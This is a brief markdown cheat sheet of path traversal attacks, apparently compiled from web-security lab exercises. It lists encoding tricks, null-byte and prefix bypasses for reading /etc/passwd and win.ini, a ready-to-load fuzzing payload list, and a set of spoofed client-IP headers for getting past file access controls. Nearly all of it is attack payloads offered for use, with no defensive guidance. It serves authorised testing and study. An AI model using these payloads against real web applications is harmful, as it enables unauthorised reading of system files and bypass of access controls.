# Path Traversal



1. Application blocks traversal sequences but treats the supplied filename as being relative to a absolute path and can be exploit with `/etc/passwd`absolute path to target file payload.
2. Images on target is loaded using `filename` parameter, and is defending against traversal attacks by stripping path traversal. Exploit using `....//....//....//....//etc/passwd` payloads.
3. Superfluous URL-encoded `..%252f..%252f..%252fetc/passwd` payload can bypass application security controls.
4. Leading the beginning of the filename referenced with the original path and then appending `/var/www/images/../../../etc/passwd` payload at end bypasses the protection.
5. Using a **null** byte character at end plus an image extension to fool APP controls that an image is requested, this `../../../etc/passwd%00.png` payload succeed.
6. Double URL encode file path traversal, as example this `../../../../../../../../../../etc/hostname` will be URL double encoded as, `%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fhostname`.
7. Windows OS accept both `../` and `..\` for directory traversal syntax, and as example retrieving `loadImage?filename=..\..\..\windows\win.ini` on windows target to _**identify**_ valid path traversal.



Intruder payloads list:

```
/etc/passwd
....//....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
/var/www/images/../../../etc/passwd
../../../etc/passwd%00.png
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
```





## Headers to bypass access to files

```
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: localhost
X-Forward-For: localhost
X-Remote-IP: localhost
X-Client-IP: localhost
X-Real-IP: localhost

X-Originating-IP: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
```

